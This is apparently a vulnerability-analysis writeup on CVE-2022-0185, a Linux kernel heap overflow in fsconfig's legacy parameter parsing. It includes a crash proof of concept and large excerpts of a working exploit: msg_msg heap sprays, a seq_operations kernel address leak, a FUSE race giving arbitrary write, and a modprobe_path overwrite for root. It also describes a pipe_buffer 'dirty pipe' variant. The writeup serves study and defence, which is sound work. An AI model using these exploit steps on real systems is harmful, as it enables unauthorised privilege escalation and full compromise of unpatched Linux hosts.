Privilege escalation effect

![image-20220302154151113](https://assets.kitploit.com/production/public/readmes/23851/8a05fdeba02fe0085dd469683ac49ca6e97ab8f291d904ed417ac022fe68ac76.png)

## Vulnerability principle

The system call where the vulnerability occurs is the `FSCONFIG_SET_STRING` operation option in `fsconfig`. This system call is used to configure an already opened filesystem context. **The prerequisite is the `CAP_SYS_ADMIN` capability**:

> The main purpose of `fsopen` is to create a filesystem context and associate it with a file descriptor, returning the file descriptor. After `fsopen`, `fsconfig` follows. From the literal meaning, it can be guessed that we created a filesystem context via `fsopen` above, and `fsconfig` below might be used to configure the content within the filesystem context. In fact, `fsconfig` is indeed mainly used for this configuration work. In addition to the filesystem context, it also supports other tasks.

### Vulnerability point

First, the vulnerability appears in the `legacy_parse_param` function:

linux-5.11\fs\fs_context.c : 502 : legacy_parse_param```c
static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
{
	struct legacy_fs_context *ctx = fc->fs_private;
	unsigned int size = ctx->data_size;
	size_t len = 0;

	··· ···
	··· ···

	switch (param->type) {
	case fs_value_is_string:
		len = 1 + param->size;
		fallthrough;
	··· ···
	}

	if (len > PAGE_SIZE - 2 - size) //此处边界检查有问题
		return invalf(fc, "VFS: Legacy: Cumulative options too large");
	if (strchr(param->key, ',') ||
	    (param->type == fs_value_is_string &&
	     memchr(param->string, ',', param->size)))
		return invalf(fc, "VFS: Legacy: Option '%s' contained comma",
			      param->key);
	if (!ctx->legacy_data) {
		ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL); //在第一次时会分配一页大小
		if (!ctx->legacy_data)
			return -ENOMEM;
	}

	ctx->legacy_data[size++] = ',';
	len = strlen(param->key);
	memcpy(ctx->legacy_data + size, param->key, len);
	size += len;
	if (param->type == fs_value_is_string) {
		ctx->legacy_data[size++] = '=';
		memcpy(ctx->legacy_data + size, param->string, param->size); //拷贝，可能越界
		size += param->size;
	}
	ctx->legacy_data[size] = '\0';
	ctx->data_size = size;
	ctx->param_type = LEGACY_FS_INDIVIDUAL_PARAMS;
	return 0;
}

### Call Path

Below, we analyze the function call stack. First, the entry point is definitely the `fsconfig` system call:

linux-5.11\fs\fsopen.c : 314 : SYSCALL_DEFINE5(fsconfig,...```c
SYSCALL_DEFINE5(fsconfig,
		int, fd,
		unsigned int, cmd,
		const char __user *, _key,
		const void __user *, _value,
		int, aux)
{
	struct fs_context *fc;
	struct fd f;
	int ret;
	int lookup_flags = 0;

	struct fs_parameter param = {
		.type	= fs_value_is_undefined,
	};

	··· ···
	f = fdget(fd);
	if (!f.file)
		return -EBADF;
	ret = -EINVAL;
	if (f.file->f_op != &fscontext_fops)
		goto out_f;

	fc = f.file->private_data; //设置fc
    
	··· ···
	switch (cmd) {
	··· ···
	case FSCONFIG_SET_STRING:
		param.type = fs_value_is_string;
        //初始化结构体中的联合体中的string成员为用户传入的字符串
		param.string = strndup_user(_value, 256); 
		if (IS_ERR(param.string)) {
			ret = PTR_ERR(param.string);
			goto out_key;
		}
		param.size = strlen(param.string);//设置size
		break;
	··· ···
    ··· ···
	}

	ret = mutex_lock_interruptible(&fc->uapi_mutex);
	if (ret == 0) {
		ret = vfs_fsconfig_locked(fc, cmd, &param);
		mutex_unlock(&fc->uapi_mutex);
	}

	··· ···
    ··· ···
}

ret = finish_clean_context(fc);
if (ret)
	return ret;
switch (cmd) {
··· ···
default:
	if (fc->phase != FS_CONTEXT_CREATE_PARAMS &&
	    fc->phase != FS_CONTEXT_RECONF_PARAMS)
		return -EBUSY;

	return vfs_parse_fs_param(fc, param);
}
fc->phase = FS_CONTEXT_FAILED;
return ret;

First, call the `finish_clean_context` function, which calls the `legacy_init_fs_context` function to register a callback function table. This callback function table includes the vulnerable function `legacy_parse_param`.

linux-5.11\fs\fs_context.c ```c
 int finish_clean_context(struct fs_context *fc)
 {
     ··· ···
 		error = legacy_init_fs_context(fc);
 	··· ···
 }
 
 static int legacy_init_fs_context(struct fs_context *fc)
 {
 	fc->fs_private = kzalloc(sizeof(struct legacy_fs_context), GFP_KERNEL);
 	if (!fc->fs_private)
 		return -ENOMEM;
 	fc->ops = &legacy_fs_context_ops; //注册回调函数表
 	return 0;
 }
 
 const struct fs_context_operations legacy_fs_context_ops = {
 	.free			= legacy_fs_context_free,
 	.dup			= legacy_fs_context_dup,
 	.parse_param		= legacy_parse_param, //漏洞函数
 	.parse_monolithic	= legacy_parse_monolithic,
 	.get_tree		= legacy_get_tree,
 	.reconfigure		= legacy_reconfigure,
 };

if (fc->ops->parse_param) {
	ret = fc->ops->parse_param(fc, param); //漏洞所在函数
	if (ret != -ENOPARAM)
		return ret;
}

··· ···
··· ···

The overall preview is as follows

- SYSCALL_DEFINE5(fsconfig,... : system call entry
  - vfs_fsconfig_locked
    - finish_clean_context
      - legacy_init_fs_context : register callback function table
    - vfs_parse_fs_param
      - legacy_parse_param : vulnerability

## Vulnerability Replication POC

Vulnerability replication poc:```c
#define _GNU_SOURCE
#include <sys/syscall.h>
#include <stdio.h>
#include <stdlib.h>

#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#define FSCONFIG_SET_STRING 1
#define fsopen(name, flags) syscall(__NR_fsopen, name, flags)
#define fsconfig(fd, cmd, key, value, aux) syscall(__NR_fsconfig, fd, cmd, key, value, aux)

int main(void)
{
        char* val = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
        int fd = 0;
        fd = fsopen("ext4", 0);
        if (fd < 0) {
                puts("Opening");
                exit(-1);
        }
        for (int i = 0; i < 5000; i++) {
                fsconfig(fd, FSCONFIG_SET_STRING, "\x00", val, 0);
        }
        return 0;
}

Switch to another terminal and use gdb for remote debugging:```shell
cd ~ 
gdb ./vmlinux
target remote :10086
directory /root/linux-5.13
b legacy_parse_param 
c

··· ···
//后面代码将msg 添加到消息队列。    
··· ···

`do_msgsnd` 允许的消息最大长度为8192：

![image-20220303103936073](https://assets.kitploit.com/production/public/readmes/23851/a3096424c425c66976d945886e4f52aea5d63ffba9f71d1195b28a335267556f.png)

然后需要重点分析一下 `load_msg` 函数，由于在`load_msg` 函数中使用了`alloc_msg` 函数来申请内存空间，并且组织消息结构。这里先分析一下`alloc_msg` 函数：

linux-5.11\ipc\msgutil.c : 46 : alloc_msg```c
static struct msg_msg *alloc_msg(size_t len)
{
	struct msg_msg *msg;
	struct msg_msgseg **pseg;
	size_t alen;
    //#define DATALEN_MSG	((size_t)PAGE_SIZE-sizeof(struct msg_msg))
	alen = min(len, DATALEN_MSG); 
	msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
	··· ···
    ··· ···
	while (len > 0) {
		struct msg_msgseg *seg;

		cond_resched();
        //#define DATALEN_SEG	((size_t)PAGE_SIZE-sizeof(struct msg_msgseg))
		alen = min(len, DATALEN_SEG);
		seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
		if (seg == NULL)
			goto out_err;
		*pseg = seg;
		seg->next = NULL;
		pseg = &seg->next;
		len -= alen;
	}

	··· ···
}

Therefore, the structure of the message composition is similar to:

![image-20220304093214147](https://assets.kitploit.com/production/public/readmes/23851/c293330c8e179cbe189b7f24631f238fb03b2b56d2571dda30298b4c94f5431d.png)

Messages exist in a message queue, managed by a doubly linked list. The messages themselves are still stored in segments, linked by a singly linked list. The maximum length of each segment is one page (4k). Next, we analyze the `do_msgsnd` function:

linux-5.11\ipc\msgutil.c : 84 : load_msg```c
struct msg_msg *load_msg(const void __user *src, size_t len)
{
	struct msg_msg *msg;
	struct msg_msgseg *seg;
	int err = -EFAULT;
	size_t alen;

	msg = alloc_msg(len); //根据消息长度生成上图那种结构体
	if (msg == NULL)
		return ERR_PTR(-ENOMEM);

	alen = min(len, DATALEN_MSG);     //根据分段情况从用户空间分段拷贝，这里拷贝第一段
	if (copy_from_user(msg + 1, src, alen))
		goto out_err;

	for (seg = msg->next; seg != NULL; seg = seg->next) { //按顺序拷贝剩下的部分
		len -= alen;
		src = (char __user *)src + alen;
		alen = min(len, DATALEN_SEG);
		if (copy_from_user(seg + 1, src, alen))
			goto out_err;
	}
    ··· ···
    ··· ···
}

return bufsz;

When the `MSG_EXCEPT` flag is present in `msgflg` (default configuration, compile option `CONFIG_CHECKPOINT_RESTORE`), backup message sending is used. The specific logic is: first allocate a message structure as a message backup, find the message, copy it into the backup, send it to user space, then release the backup. **Thus the original message is not unlinked from the queue**, and what we want is precisely "the action of not unlinking the original message from the queue". Because sometimes when we overflow, we overwrite the doubly linked list pointers in the message header, and unlinking would then cause a crash – which is not the desired outcome.

That’s about all the knowledge points involved; the exploitation techniques used are:

- Using the `msgsnd` function to perform spray operations in the range of `kmalloc-64` to `kmalloc-4k` (traditional technique)
- If the `m_ts` member of the `msg_msg` header can be overwritten, the message length changes, causing an out-of-bounds read (new technique)
- If, **during the load_msg process**, the `struct msg_msgseg *next` member of the `msg_msg` header can be overwritten, then arbitrary address read/write can be achieved. This usually requires exploiting a race condition with `userfaulted`, but the latest kernels no longer allow user‑mode invocation of `userfaulted`. Here, a new method is adopted.

#### Replacement for userfaulted

According to the analysis of the `load_msg` function above, after `alloc_msg` allocates memory for the message, it copies the message from user space. If the message is a long segmented message, it needs to be copied in segments. If we can cause a page fault during the copy of the first segment, pausing the copy operation to wait for the exception handling to complete, then use the overflow to overwrite the `msg_msgseg *next` pointer in `msg_msg`, after the exception handling returns and copying of the second segment resumes, it becomes overwriting arbitrary content to an address we specify (arbitrary address write).

Normally, this requires registering a user‑mode page fault handler, but in newer versions, the `userfaulted` syscall cannot be invoked without privileges. Here, a new method is provided: the **FUSE** user‑space file system. FUSE can be used to register a user‑space file system with its own `read`, `write`, etc. functions. When a page fault occurs, it still returns to user space to handle the interrupt.

It is worth mentioning that FUSE itself does not have a statically compiled library. BitsByWill and D3v17 cut it down, removing dlopen and some other things, producing only a statically compilable libfuse3.a. Go ahead and say it: thank you, BitsByWill and D3v17.

[Reference](https://static.sched.com/hosted_files/lsseu2019/04/LSSEU2019%20-%20Exploiting%20race%20conditions%20on%20Linux.pdf)

#### Leaking Addresses

This is also a standard kernel pwn technique: use the `seq_operations` structure to leak addresses, as it is full of function pointers:```c
struct seq_operations {
	void * (*start) (struct seq_file *m, loff_t *pos);
	void (*stop) (struct seq_file *m, void *v);
	void * (*next) (struct seq_file *m, void *v, loff_t *pos);
	int (*show) (struct seq_file *m, void *v);
};

if (op) {
	op->start = single_start;
	op->next = single_next;
	op->stop = single_stop;
	op->show = show;
	res = seq_open(file, op);

Initialize all function pointers in the `single_open` structure to kernel functions; if any one leaks, the kernel base address can be leaked.

#### Privilege Escalation

The classic technique of kernel pwn: `modprobe_path`, a string in the kernel that points to a path, default is /sbin/modprobe```c
char modprobe_path[KMOD_PATH_LEN] = "/sbin/modprobe";

if (!fork()) //子进程注册一个fuse 文件系统，用于提供userfaulted
{
    fuse_main(sizeof(fargs_evil)/sizeof(char *) -1 , fargs_evil, &evil_ops, NULL);
}

sleep(1);
spray_4k(30);//堆将现有的free kmalloc消耗掉
uint64_t kbase = 0;
while(!kbase)  //泄露kernel 基址部分
{
    kbase = do_leak();
}
··· ···

spray_4k(30);//堆将现有的free kmalloc消耗掉
while (1) 
{
    do_win(); //任意地址写修改modprobe_path完成利用部分
    ··· ···
}

··· ···

The exp is mainly divided into two parts: leak and arbitrary address write.

#### Leaking the kernel base address

I think the leak part of this exp is very clever: first overflow to overwrite unused parts, then allocate the structure that needs to be overflowed and overwritten so as not to damage the unintended parts of the target, then continue to overflow to precisely cover the target.

Mainly the `do_leak` function

CVE-2022-0185-master\exploit_fuse.c : 33 : do_leak```c
uint64_t do_leak () 
{
    uint64_t kbase = 0;
    char pat[0x1000] = {0};
    char buffer[0x2000] = {0}, recieved[0x2000] = {0};
    int targets[0x10] = {0};
    msg *message = (msg *)buffer;
    int size = 0x1018;

    // spray msg_msg
    for (int i = 0; i < 8; i++)   //[1]先申请8个独立的消息队列，每个里面存放一条消息
    {
        memset(buffer, 0x41+i, sizeof(buffer));
        targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
        send_msg(targets[i], message, size - 0x30, 0); 
    }/*消息大小 0x1018-0x30,实际会分成两段
      *第一段 消息头msg_msg 0x30 和消息0xfd 共0x1000 kmalloc-4k
      *第二段 消息段头 msg_msgseg 0x8 和消息0x18 共0x20 kmalloc-32*/

    memset(pat, 0x42, sizeof(pat));
    pat[sizeof(pat)-1] = '\x00';
    puts("[*] Opening ext4 filesystem");

    fd = fsopen("ext4", 0);
    if (fd < 0) 
    {
            puts("fsopen: Remember to unshare");
            exit(-1);
    }

    strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
    for (int i = 0; i < 117; i++)  
    {  //[2]溢出准备，多次调用fsconfig 将legacy_data 长度填充到4095准备溢出
        fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    }
    
    // overflow, hopefully causes an OOB read on a potential msg_msg object below
    puts("[*] Overflowing...");
    pat[21] = '\x00';
    char evil[] = "\x60\x10";
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    /*[3]溢出部分，输入长度21,由于每次溢出会自动加上",="所以实际23，再加上之前长度4095总共溢出22
     *这里正常情况发生溢出溢出的是还没被使用(分配)过的内存*/

    // spray more msg_msg
    for (int i = 8; i < 0x10; i++) 
    {//[4]继续msgsnd，申请msg_msg 结构体，大概率申请到将legacy_data后面的地方
        memset(buffer, 0x41+i, sizeof(buffer));
        targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
        send_msg(targets[i], message, size - 0x30, 0);
    }//msg_msg 头会覆盖刚刚溢出的内容

    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0);
    /*[5]继续溢出，legacy_data+size 的指针指向的位置正好在msg_msg结构体的中间，m_ts 位之前
     *刚好覆盖m_ts，修改msg 的大小*/

    puts("[*] Done heap overflow");
    puts("[*] Spraying kmalloc-32");
    for (int i = 0; i < 100; i++) 
    {//[6]上面提到过的泄露地址用结构体,多次打开stat，喷射多个0x20的seq_operations结构体
        open("/proc/self/stat", O_RDONLY);
    }//大概率会喷射到消息第二段0x20(kmalloc-32) 的后面

    size = 0x1060;//接受消息的长度
    puts("[*] Attempting to recieve corrupted size and leak data");

    // go through all targets qids and check if we hopefully get a leak
    for (int j = 0; j < 0x10; j++) 
    {//[7]接受消息，某一个消息的长度被改大，则会越界读到后面的seq_operations结构体
        get_msg(targets[j], recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
        kbase = do_check_leak(recieved);//泄露成功
        if (kbase) 
        {
            close(fd);
            return kbase;
        }
    }

    puts("[X] No leaks, trying again");
    return 0;
}

int target = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
send_msg(target, message, size - 0x30, 0); 
//[2]设定消息长度为0xfe的消息，会分成两段

puts("[*] Opening ext4 filesystem");
fd = fsopen("ext4", 0);
if (fd < 0) 
{
        puts("Opening");
        exit(-1);
}
puts("[*] Overflowing...");
strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
for (int i = 0; i < 117; i++) //[3]溢出前填充工作
{
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
}

puts("[*] Prepaing fault handlers via FUSE");
int evil_fd = open("evil/evil", O_RDWR);
if (evil_fd < 0)
{
    perror("evil fd failed");
    exit(-1);
}
//[4]使用fuse 文件系统mmap 一页，在0x1338000，也就是上面mmap 的后面
if ((mmap((void *)0x1338000, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, evil_fd, 0)) != (void *)0x1338000)
{
    perror("mmap fail fuse 1");
    exit(-1);
}

pthread_t thread;
int race = pthread_create(&thread, NULL, arb_write, NULL);
if(race != 0)
{
    perror("can't setup threads for race");
}
//[5]发送消息，消息开头在第一个mmap 页的末尾，会触发page fault，等待中断处理
send_msg(target, rooter, size - 0x30, 0);
//[6]开启线程，线程执行溢出操作，在等待中断处理的过程中覆盖msg_msg 的mst_msgseg *next指针
pthread_join(thread, NULL);
munmap((void *)0x1337000, 0x1000);
munmap((void *)0x1338000, 0x1000);
close(evil_fd);
close(fd);

size_t len = 0x1000;

···

memcpy(buf, evil_buffer + offset, size); 

// sync with the arb write thread
read(fuse_pipes[0], &signal, 1); //[7]等待溢出操作完成,返回，完成任意地址写

return size;

1. `mmap` one page at 0x1337000 - page 1

2. Set the message length to 0x1010-0x30=0xfe0, so the message just needs to be split into two segments.

3. `fsconfig` prepare pre-overflow fill, allocate a `kmalloc-4k`

4. Use the previously registered fuse filesystem to `mmap` a page at 0x1338000 - page 2

5. Send a message of length 0xfe0, allocate a `kmalloc-4k` and a `kmalloc-32`. The message starts at the end of page 1. At this point, when the `copy_from_user` function inside `msgsnd` copies the message from user space to kernel space, copying to page 2 will trigger a page fault and call the `evil_read` function of the fuse filesystem in user space. This function is specified by us and writes the content we want into the kernel. And this function waits for the following process to finish before returning.

6. At this point, start a new process. The new process performs the overflow operation, overwriting the `msg_msgseg * next` pointer in the subsequent message header `msg_msg` to point to `modprobe_path`. Then send a completion signal to the `evil_read` function.

7. `evil_read` returns, completing arbitrary address write. `modprobe_path` is tampered to `"/tmp/w"`

   ![image-20220304120016782](https://assets.kitploit.com/production/public/readmes/23851/82f415b1c760afd5364ee0bf049e9e8f73faae7ba4a30eac735b5f4f03019fa4.png)

Diagram:

![image-20220304120052081](https://assets.kitploit.com/production/public/readmes/23851/fd4ef7b7e641a222dd6ec8a97133b2aa86de37ac0a09c2d560f694d7774826fa.png)

Since `modprobe_path` has been modified, we consider privilege escalation successful. The subsequent privilege escalation operation of the exp is to add the suid permission to `/bin/bash`. But it is no longer important.

![image-20220304120219927](https://assets.kitploit.com/production/public/readmes/23851/8feed8f8d70c44f9182a703e9d2904af9e7e2633453e6d121c871806637f7b7a.png)

### [New] exp analysis (artificial dirty pipe universal version)

Source: [veritas501/CVE-2022-0185-PipeVersion](https://github.com/veritas501/CVE-2022-0185-PipeVersion)

The main idea comes from after CVE-2022-0847 (dirty pipe) was exposed, it was discovered that pipe and splice have such a mechanism:

1. A pipe consists of 16 cache pages. Each time data is written to the pipe, it checks which page is currently being written to. If the page is not fully written, it will try to continue writing on that page. But not all pages can be continued, such as the following situations.

2. splice allows transferring files to the pipe. The implementation method is to directly replace the pipe's cache pages with the file's cache pages. Such replaced file cache pages do not allow pipe to continue writing.

3. After version 5.8, `pipe_buffer->flags` is used to determine whether the page allows continued writing. Before version 5.8, whether `pipe_buffer->ops` is `anon_pipe_buf_ops` is used to determine whether continued writing is allowed.

So the cause of the dirty pipe vulnerability is that `pipe_buffer->flags` is not initialized, causing the file cache pages transferred by splice to be writable. Although it has been fixed, consider whether we can artificially create a dirty pipe by tampering with flags? The answer is yes. It is known that dirty ppie is a vulnerability that does not rely on any address leak to exploit, and pipe_buffer is a commonly used victim structure in kernel vulnerability exploitation. Tampering with its flags or ops is easy. The following describes the idea of implementing a universal exp through artificial dirty pipe:

First, spray several message queue pairs, each pair containing a msg_msg of 0x1400. In this way, the msg will be split into two segments, one of 0x1000 and one of 0x4000. Then use out-of-bounds write to modify the m_ts field of the main message segment to 0x1800:

![image-20220524162516400](https://assets.kitploit.com/production/public/readmes/23851/8f7a4445daae2ccbe7f813041c77de1cbffe97a9b6d6958902153a6a76f60043.png)

In this way, by finding the **msgid that can successfully read a length of 0x1800**, it is determined that the msg_msg of that queue has been overflowed. Also, it is necessary to determine through out-of-bounds read that what follows is message segment 2 (sec2) of another message. Then release all other msg queues except this one:

![image-20220524162832450](https://assets.kitploit.com/production/public/readmes/23851/815b76bfabcd1451b26e7276fffd367c213a1f55c1ee47718e9d5a1f7bab2a04.png)

Then spray several message queue pairs, each pair containing 16 (several) msg_msg of size 0x400. In an ideal state, a certain message of a certain pair will occupy the freed 0x400 slab indicated by the dashed line in the figure above, forming the following layout: the 5th msg of msg queue X allocates this slab:

![image-20220524164354436](https://assets.kitploit.com/production/public/readmes/23851/00a52c4c473964335ca823f880581a8b46dddbf734c232f6460cb002a15009ac.png)

Then, through the out-of-bounds read of msg1, obtain the prev value of msg5, which is the address of msg4. Through the content we arranged in the msg, we can determine the msq queue number X and the sequence number 5 of the msg in the queue.

Next, release msg6 and all msgs after msg6, then add a new message in queue X. The new message will still be appended after msg5, that is, new msg6, newmsg6. Inside newmsg6 (at a position where the address ending is not 0x00), arrange a fake msg header fake head, the fake head points to msg4, forming as follows:

![image-20220524164937406](https://assets.kitploit.com/production/public/readmes/23851/896247923a72798b59b91bc90cde45d44c6cd5e5c0001e654e83533260e619d8.png)

Then perform another out-of-bounds read, record the address of the fake head in newmsg6, which is the value of msg5->next read out-of-bounds plus the offset we arranged:

![image-20220524165719754](https://assets.kitploit.com/production/public/readmes/23851/c9b397893438a567dcb586b9c524ab9bffb2a7df6cdc3b26d55424ba68d81581.png)

Then do it again, perform another out-of-bounds write, this time overwrite the next pointer at the msg header to point to the fakeHead in newmsg6. The address has just been obtained:

![image-20220524171400377](https://assets.kitploit.com/production/public/readmes/23851/932e25844488038a248cc42c13bf35e60a8e85d539283cc6ad95395b734415cd.png)

Directly release msg4 through msgX, then spray sk_buff to occupy the released msg4, and forge next and prev to point to itself (the address is already known) to bypass msg's unlink for the second free later:

![image-20220524171449841](https://assets.kitploit.com/production/public/readmes/23851/a67430472b9b0476f86a210d671450fc3bd81529971dd8b3eea38c6705dc134e.png)

Then use the newmsg1 queue to release msg4 again, then use pipe_buffer to occupy it again, letting sk_buff and pipe_buffer occupy the same area, forming the following situation:

![image-20220524172342828](https://assets.kitploit.com/production/public/readmes/23851/3eff50c82acceb7a6daa079fe183611a131cd4212da941eaef09551380c5bbbc.png)

For the subsequent operations, just refer to the second half of "[Victory Equation](https://blog.csdn.net/Breeze_CAT/article/details/124887764)", exp: https://github.com/veritas501/CVE-2022-0185-PipeVersion

![image-20220524180848317](https://assets.kitploit.com/production/public/readmes/23851/be1db757bd7c73f8f8d56e8ec7c0399e92c69b5a27fe7b945ae634a54ee7c707.png)

## Debugging Tips

Related symbols:```
ffffffff81356040 t legacy_parse_param
ffffffff814927f0 t do_msgsnd
ffffffff81493550 t do_msgrcv

ffffffff813400b0 t single_start
ffffffff82c6c2e0 D modprobe_path

## References

github: [Crusaders-of-Rust/CVE-2022-0185](https://github.com/Crusaders-of-Rust/CVE-2022-0185)

writeup: https://www.willsroot.io/2022/01/cve-2022-0185.html

veritas501: [CVE-2022-0185 Analysis and Exploitation & Pipe New Primitive Thinking and Practice](https://veritas501.github.io/2022_03_16-CVE_2022_0185%E5%88%86%E6%9E%90%E5%8F%8A%E5%88%A9%E7%94%A8%E4%B8%8Epipe%E6%96%B0%E5%8E%9F%E8%AF%AD%E6%80%9D%E8%80%83%E4%B8%8E%E5%AE%9E%E8%B7%B5/#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8)